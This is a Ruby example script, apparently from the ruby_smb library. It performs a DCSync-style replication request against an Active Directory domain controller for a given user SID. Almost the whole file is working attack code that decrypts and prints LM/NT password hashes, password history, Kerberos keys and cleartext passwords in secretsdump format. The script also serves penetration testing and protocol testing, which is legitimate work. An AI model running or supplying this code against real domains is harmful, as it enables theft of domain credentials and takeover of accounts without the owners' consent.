examples/dump_secrets_from_sid.rb
#!/usr/bin/ruby
# This example script is used for testing DCERPC client and DRSR structures.
# It will attempt to connect to a host and enumerate user secrets.
# Example usage: ruby dump_secrets_from_sid.rb 192.168.172.138 msfadmin msfadmin MYDOMAIN S-1-5-21-419547006-9448028-4223375872-500
# This will try to connect to \\192.168.172.138 with the msfadmin:msfadmin
# credentials and enumerate secrets of domain user with SID
# S-1-5-21-419547006-9448028-4223375872-500
require 'bundler/setup'
require 'ruby_smb/dcerpc/client'
address = ARGV[0]
username = ARGV[1]
password = ARGV[2]
domain = ARGV[3]
sid = ARGV[4]
client = RubySMB::Dcerpc::Client.new(
address,
RubySMB::Dcerpc::Drsr,
username: username,
password: password,
)
client.connect
puts('Binding to DRSR...')
client.bind(
endpoint: RubySMB::Dcerpc::Drsr,
auth_level: RubySMB::Dcerpc::RPC_C_AUTHN_LEVEL_PKT_PRIVACY,
auth_type: RubySMB::Dcerpc::RPC_C_AUTHN_WINNT
)
puts('Bound to DRSR')
ph_drs = client.drs_bind
puts "ph_drs: #{ph_drs}"
puts
dc_infos = client.drs_domain_controller_info(ph_drs, domain)
dc_infos.each do |dc_info|
dc_info.field_names.each do |field|
puts "#{field}: #{dc_info.send(field).to_s.encode('utf-8')}"
end
puts
puts
crack_names = client.drs_crack_names(ph_drs, rp_names: [sid])
puts "SID: #{sid}"
crack_names.each do |crack_name|
puts "Domain: #{crack_name.p_domain.to_s.encode('utf-8')}"
puts "Name: #{crack_name.p_name.to_s.encode('utf-8')}"
user_record = client.drs_get_nc_changes(
ph_drs,
nc_guid: crack_name.p_name.to_s.encode('utf-8'),
dsa_object_guid: dc_info.ntds_dsa_object_guid,
)
# self.__decryptHash
dn = user_record.pmsg_out.msg_getchg.p_nc.string_name.to_ary[0..-1].join.encode('utf-8')
puts "Decrypting hash for user: #{dn}"
entinf_struct = user_record.pmsg_out.msg_getchg.p_objects.entinf
object_sid = rid = entinf_struct.p_name.sid[-4..-1].unpack('L<').first
lm_hash = Net::NTLM.lm_hash('')
nt_hash = Net::NTLM.ntlm_hash('')
disabled = nil
computer_account = nil
password_never_expires = nil
password_not_required = nil
pwd_last_set = nil
last_logon = nil
expires = nil
lm_history = []
nt_history = []
domain_name = ''
user = 'unknown'
kerberos_keys = {}
clear_text_passwords = []
entinf_struct.attr_block.p_attr.each do |attr|
next unless attr.attr_val.val_count > 0
# begin
att_id = user_record.pmsg_out.msg_getchg.oid_from_attid(attr.attr_typ)
lookup_table = RubySMB::Dcerpc::Drsr::ATTRTYP_TO_ATTID
# rescue XXXX
# att_id = attr.attr_typ
# lookup_table = NAME_TO_ATTRTYP
# end
#puts "#{lookup_table.key(att_id) || 'Unknown'}: #{attr.attr_val.p_aval[0].p_val}"
attribute_value = attr.attr_val.p_aval[0].p_val.to_ary.map(&:chr).join
case att_id
when lookup_table['dBCSPwd']
encrypted_lm_hash = client.decrypt_attribute_value(attribute_value)
lm_hash = client.remove_des_layer(encrypted_lm_hash, rid)
when lookup_table['unicodePwd']
encrypted_nt_hash = client.decrypt_attribute_value(attribute_value)
nt_hash = client.remove_des_layer(encrypted_nt_hash, rid)
when lookup_table['userPrincipalName']
domain_name = attribute_value.force_encoding('utf-16le').encode('utf-8').split('@').last
when lookup_table['sAMAccountName']
user = attribute_value.force_encoding('utf-16le').encode('utf-8')
when lookup_table['objectSid']
object_sid = attribute_value
when lookup_table['userAccountControl']
user_account_control = attribute_value.unpack('L<')[0]
disabled = user_account_control & RubySMB::Dcerpc::Samr::UF_ACCOUNTDISABLE != 0
computer_account = user_account_control & RubySMB::Dcerpc::Samr::UF_NORMAL_ACCOUNT == 0
password_never_expires = user_account_control & RubySMB::Dcerpc::Samr::UF_DONT_EXPIRE_PASSWD != 0
password_not_required = user_account_control & RubySMB::Dcerpc::Samr::UF_PASSWD_NOTREQD != 0
when lookup_table['pwdLastSet']
pwd_last_set = Time.at(0)
time_value = attribute_value.unpack('Q<')[0]
if time_value > 0
pwd_last_set = RubySMB::Field::FileTime.new(time_value).to_time.utc
end
when lookup_table['accountExpires']
expires = Time.at(0)
time_value = attribute_value.unpack('Q<')[0]
if time_value > 0 && time_value != 0x7FFFFFFFFFFFFFFF
expires = RubySMB::Field::FileTime.new(time_value).to_time.utc
end
when lookup_table['lastLogonTimestamp']
last_logon = Time.at(0)
time_value = attribute_value.unpack('Q<')[0]
if time_value > 0
last_logon = RubySMB::Field::FileTime.new(time_value).to_time.utc
end
when lookup_table['lmPwdHistory']
tmp_lm_history = client.decrypt_attribute_value(attribute_value)
tmp_lm_history.bytes.each_slice(16) do |block|
lm_history << client.remove_des_layer(block.map(&:chr).join, rid)
end
when lookup_table['ntPwdHistory']
tmp_nt_history = client.decrypt_attribute_value(attribute_value)
tmp_nt_history.bytes.each_slice(16) do |block|
nt_history << client.remove_des_layer(block.map(&:chr).join, rid)
end
when lookup_table['supplementalCredentials']
# self.__decryptSupplementalInfo
plain_text = client.decrypt_attribute_value(attribute_value)
user_properties = RubySMB::Dcerpc::Samr::UserProperties.read(plain_text)
user_properties.user_properties.each do |user_property|
case user_property.property_name.encode('utf-8')
when 'Primary:Kerberos-Newer-Keys'
value = user_property.property_value
binary_value = value.chars.each_slice(2).map {|a,b| (a+b).hex.chr}.join
kerb_stored_credential_new = RubySMB::Dcerpc::Samr::KerbStoredCredentialNew.read(binary_value)
key_values = kerb_stored_credential_new.get_key_values
kerb_stored_credential_new.credentials.each_with_index do |credential, i|
kerberos_type = RubySMB::Dcerpc::Samr::KERBEROS_TYPE[credential.key_type]
if kerberos_type
kerberos_keys[kerberos_type] = key_values[i].unpack('H*')[0]
else
kerberos_keys["0x#{credential.key_type.to_i.to_s(16)}"] = key_values[i].unpack('H*')[0]
end
end
when 'Primary:CLEARTEXT'
# [MS-SAMR] 3.1.1.8.11.5 Primary:CLEARTEXT Property
# This credential type is the cleartext password. The value format is the UTF-16 encoded cleartext password.
begin
clear_text_passwords << user_property.property_value.to_s.force_encoding('utf-16le').encode('utf-8')
rescue EncodingError
# This could be because we're decoding a machine password. Printing it hex
# Keep clear_text_passwords with a ASCII-8BIT encoding
clear_text_passwords << user_property.property_value.to_s
end
end
end
end
end
user = "#{domain_name}\\#{user}" unless domain_name.empty?
puts "#{user}:#{rid}:#{lm_hash.unpack('H*')[0]}:#{nt_hash.unpack('H*')[0]}:::"
puts "Object SID: 0x#{object_sid.unpack('H*')[0]}"
puts "Password last set: #{pwd_last_set && pwd_last_set > Time.at(0) ? pwd_last_set : 'never'}"
puts "Last logon: #{last_logon && last_logon > Time.at(0) ? last_logon : 'never'}"
puts "Account disabled: #{disabled.nil? ? 'N/A' : disabled}"
puts "Computer account: #{computer_account.nil? ? 'N/A' : computer_account}"
puts "Password never expires: #{password_never_expires.nil? ? 'N/A' : password_never_expires}"
puts "Password not required: #{password_not_required.nil? ? 'N/A' : password_not_required}"
puts "Expired: #{!disabled && expires && expires > Time.at(0) && expires < Time.now}"
if nt_history.size > 1 and lm_history.size > 1
puts "Password history:"
nt_history[1..-1].zip(lm_history[1..-1]).each_with_index do |history, i|
nt_h, lm_h = history
empty_lm_h = Net::NTLM.lm_hash('')
puts " #{user}_history#{i}:#{rid}:#{empty_lm_h.unpack('H*')[0]}:#{nt_h.to_s.unpack('H*')[0]}::: (if LMHashes are not stored)"
puts " #{user}_history#{i}:#{rid}:#{lm_h.to_s.unpack('H*')[0]}:#{nt_h.to_s.unpack('H*')[0]}::: (if LMHashes are stored)"
end
end
puts "Kerberos keys:"
kerberos_keys.each do |key_type, key_value|
puts " #{user}:#{key_type}:#{key_value}"
end
puts "Clear passwords:"
clear_text_passwords.each do |passwd|
puts " #{user}:CLEARTEXT:#{passwd}"
end
end
end
client.drs_unbind(ph_drs)
client.close
puts 'Done'